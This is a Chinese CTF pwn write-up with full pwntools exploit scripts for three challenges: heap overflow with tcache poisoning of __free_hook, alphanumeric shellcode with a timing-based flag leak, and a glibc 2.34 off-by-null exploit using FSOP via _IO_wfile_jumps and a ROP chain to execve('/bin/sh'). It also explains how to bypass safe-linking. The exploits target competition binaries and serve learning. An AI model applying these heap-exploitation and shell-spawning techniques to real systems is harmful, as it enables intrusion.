记录学习一下。

chaos

逆完code是个简单的堆溢出,改size造unsorted bin拿基址,tcache打freehook即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#sh = remote('8.134.37.86',22210)
sh = process('./chall')
libc = ELF('./libc-2.27.so')

def create(size, content):
code ='''opcode:1\npasswd:Cr4at3x\n\n'''
sh.sendafter('>>> ', code)
sh.sendlineafter('>>> ', str(size))
sh.sendafter('>>> ', content)

def show(idx):
code ='''opcode:2\npasswd:SH0wx\n\n'''
sh.sendafter('>>> ', code)
sh.sendlineafter('>>> ', str(idx))

def edit(idx, content):
code ='''opcode:3\npasswd:Ed1tx\n\n'''
sh.sendafter('>>> ', code)
sh.sendlineafter('>>> ', str(idx))
sh.sendafter('>>> ', content)

def delete(idx):
code ='''opcode:4\npasswd:D3l4tex\n\n'''
sh.sendafter('>>> ', code)
sh.sendlineafter('>>> ', str(idx))

def PWN():
for i in range(14):
create(0x208, 'A'*0x208) #12

edit(13, 'Z'*0x208+'\x00'*0x10+p64(0x21)+'\x00'*0x18+p64(0x461))
delete(12)
create(0x208, '\xa0')
show(0)
libc_base = u64(sh.recv(6).ljust(8,'\x00'))-0x3ebca0
__free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']

delete(4)
delete(4)
delete(4)
edit(4, 'A'*0x238+p64(0x221)+p64(__free_hook))
create(0x208, 'sh\x00')
create(0x208, p64(system))

delete(1)

sh.interactive()

if __name__ == '__main__':
PWN()

ezshell

原题基础上加了个shellcode字符需为可见字符的限制
用alpha3转换

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

EXCV = context.binary = './chall'
e = ELF(EXCV)
context.arch='amd64'
# context.log_level = 'debug'


def alphanumeric(shellcode, mode=1):
if mode == 1:
with open('sc', 'wb+') as f:
f.write(asm(shellcode, arch='amd64'))
return os.popen(
'python ~/alpha3/ALPHA3.py x64 ascii mixedcase rdx --input="sc"'
).read().encode('ascii')
else:
with open('sc', 'wb+') as f:
f.write(asm(shellcode, arch='i386'))
return os.popen(
'python ~/alpha3/ALPHA3.py x86 ascii mixedcase ebx --input="sc"'
).read().encode('latin1')


def pwn(p, index, ch):
#shellcode = "nop;nop;"
# open
shellcode=""
shellcode += "push 0x10100aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"

# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10140aaa; pop rsi; shr esi, 12; syscall;"

# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3;".format(index, ch)+shellcraft.ret()
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4;".format(index, ch)+shellcraft.ret()


shellcode = alphanumeric(shellcode,1)
payload=shellcode.ljust(0x100,b'a')+b'./flag'
p.sendafter("code?\n", payload)



index = 0
ans = []
while True:
for ch in range(0x20, 127):
#p = remote('8.134.37.86', 21144)
p=process("./chall")
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1

print("".join([chr(i) for i in ans]))

overheap

glibc2.34
没有malloc hook和free hook可以直接用了

裸off by null

glibc2.29之后的unlink会检查prevsize和上一个chunk的size位是否相等,house of einherjar的方法就失效了
绕过的方法是借助unsorted bin切割留下的size,结合unsorted bin和large bin中残留的fd和bk,并利用partial overwrite构造,从而通过unlink中对双向链表完整性的检查,最终造成overlap

FSOP

其实我这里是一个伪fsop,官方exp我始终调不通,最后换了个方法getshell

先在堆上布置rop chain,这里最后用execve("/bin/sh", 0, 0)终结(system之类的打不通。。)

overlap以后通过tcache劫持tcache结构体,分别对_IO_2_1_stdout__IO_wfile_jumps进行控制

_IO_wfile_jumps+0x18处改写为magic gadget地址
这一段gadget内容为

1
2
3
4
5
6
mov    rbp,QWORD PTR [rdi+0x48]
mov rax,QWORD PTR [rbp+0x18]
lea r13,[rbp+0x10]
mov DWORD PTR [rbp+0x10],0x0
mov rdi,r13
call QWORD PTR [rax+0x28]

可以根据rdirbp控制,然后再根据rbp控制rax,进而控制rax+0x28leave:ret,即可完成栈迁移(rdi指向stdout,可控)

最后改写_IO_2_1_stdout_结构体内容,并劫持其vtable指向_IO_wfile_jumps。这样就会在执行_overflow的时候执行上述布置好的一切,最终getshell

补充

glibc2.32之后对tcache和fastbin的next指针进行了加密

1
2
3
4
5
6
7
8
9
10
11
12
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

tcache添加fde->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
fastbin添加fdp->fd = PROTECT_PTR (&p->fd, old);

可以看到pos就是指向fd的指针,也就是next chunk的地址,右移12bit抹去低位的信息(作为key),ptr为上一个chunk地址,二者进行异或得到加密的fd

reveal ptr则只需要一个参数ptr,因为该ptr的地址必然就指向上一个chunk。用指向ptr的指针,即chunk fd的地址右移用于抹去低位信息得到key,与加密的fd异或即可得到next指针

绕过:
需要注意的是当tcache中没有bin时,这时候放入一个chunk,与其异或的tcache->entries[tc_idx]为0,所以第一个tcache的fd内容就是key
假如能够泄露key,那么在利用tcache进行攻击的时候就只需要用这个key异或我们想申请到的地址,然后填入fd位置即可

还有一种方法是泄露出堆地址,这样在4096字节范围内右移12bit都能得到正确的key

本exp的方法是利用得到的堆地址计算偏移,用原方法异或加密指针后填回

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *  

context.arch = 'amd64'
context.log_level = 'debug'
r = process(["./ld.so", "./overheap"], env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("./overheap")
libc = ELF("./libc.so.6")

def debug(s=None):
if (s == None):
gdb.attach(r)
else:
gdb.attach(r, s)
pause()

def add(sz):
r.sendlineafter(">> ", "1")
r.sendlineafter("Size:", str(sz))

def show(idx):
r.sendlineafter(">> ", "2")
r.sendlineafter("id:", str(idx))

def edit(idx, data):
r.sendlineafter(">> ", "3")
r.sendlineafter("id:", str(idx))
r.sendafter("Content:", data)

def dele(idx):
r.sendlineafter(">> ", "4")
r.sendlineafter("id:", str(idx))

add(0x518)
add(0x128)
add(0x518)
add(0x538)
add(0x128)
add(0x528)
add(0x128)

dele(0)
dele(3)
dele(5)

dele(2)

add(0x538)
show(0)
# b = u64( r.recv(6).ljust(8, b'\x00') ) - 0x2191c0 - 0x80
b = u64( r.recv(6).ljust(8, b'\x00') ) +0x6f20-libc.symbols['__malloc_hook']
libc.address = b
r.recv(10)
heap_base = u64( r.recv(6).ljust(8, b'\x00') ) & 0xfffffffff000
info("libc: " + hex(b))
info("heap base: " + hex(heap_base))


edit(0, b'a' * 0x518 + p64(0xCD0)[:-1] + b'\n') #fake size
add(0x518) # 2
add(0x528) # 3
add(0x518) # 5
dele(5)
dele(2)
add(0x518) # 2 partial overwrite bk
edit(2, b'a'*8 + b'\n')
add(0x518) # 5

dele(5)
dele(3)
add(0x9F8) # 3 chunk into largebin
add(0x528) # 5 partial overwrite fd
edit(5, '\n')
add(0x518) # 7
add(0x128) # 8
add(0x128) # 9 barrier
add(0x128) #10


edit(6, b'a'*0x120 + p64(0xCD0)) #fake prevsize

dele(3) # unlink

dele(8)
dele(9)
dele(4)
add(0x538) # 3
add(0x188) # 4
tmp = heap_base + 0x1350
edit(4, p64((heap_base + 0x10) ^ (tmp >> 12))[:-1] + b'\n')

add(0x128)
add(0x128) # 9 tcache struct

payload = b'\x00'*0x20 + p16(1)*2
payload = payload.ljust(0x100, b'\x00')
payload += p64(libc.sym['_IO_2_1_stdout_']) + p64(libc.sym['_IO_wfile_jumps'])
edit(9, payload[:-1] + b'\n')

add(0x118) # 11 stdout
add(0x128) # 12 _IO_file_jumps

magic = libc.address+0x000000000016c8ca
pay = p64(0)*3+p64(magic)+b'\n'
edit(12, pay)


fake_rbp = heap_base+0x8f0
leave_r = libc.address+0x000000000005a19c
pop_rdi = libc.address+0x000000000002e6c5
p3_r = libc.address+0x2ea20
syscall = libc.address+0x000000000002dff4
prax_r = libc.address+0x0000000000049f00
prdx_prbx_r = libc.address+0x0000000000094389
prsi_r = libc.address+0x0000000000030081

ropchain = b'/bin/sh\x00'+p64(p3_r)+p64(0)
ropchain+= p64(fake_rbp+0x20-0x28)+p64(leave_r)
ropchain+= p64(pop_rdi)+p64(fake_rbp)
ropchain+= p64(prsi_r)+p64(0)
ropchain+= p64(prdx_prbx_r)+p64(0)*2
ropchain+= p64(libc.sym['execve'])
edit(0, ropchain+b'\n')

payload = p64(0xfbad2887) + p64(0)*3 + p64(0) + p64(1)
payload += p64(0)*3 + p64(fake_rbp)
payload += p64(0)*3 + p64(libc.symbols['_IO_2_1_stdin_'])
payload += p64(1) + p64(0xffffffffffffffff) + p64(0) + p64(b + 0x21b730) + p64(0xffffffffffffffff)
payload += p64(0) + p64(b + 0x218a80) + p64(0)*3 + p32(0xffffffff) + p32(0)
payload += p64(0)*2+p64(libc.sym['_IO_wfile_jumps'])

edit(11, payload[:-1] + b'\n')

r.interactive()

还有一个protocol看不懂捏=-=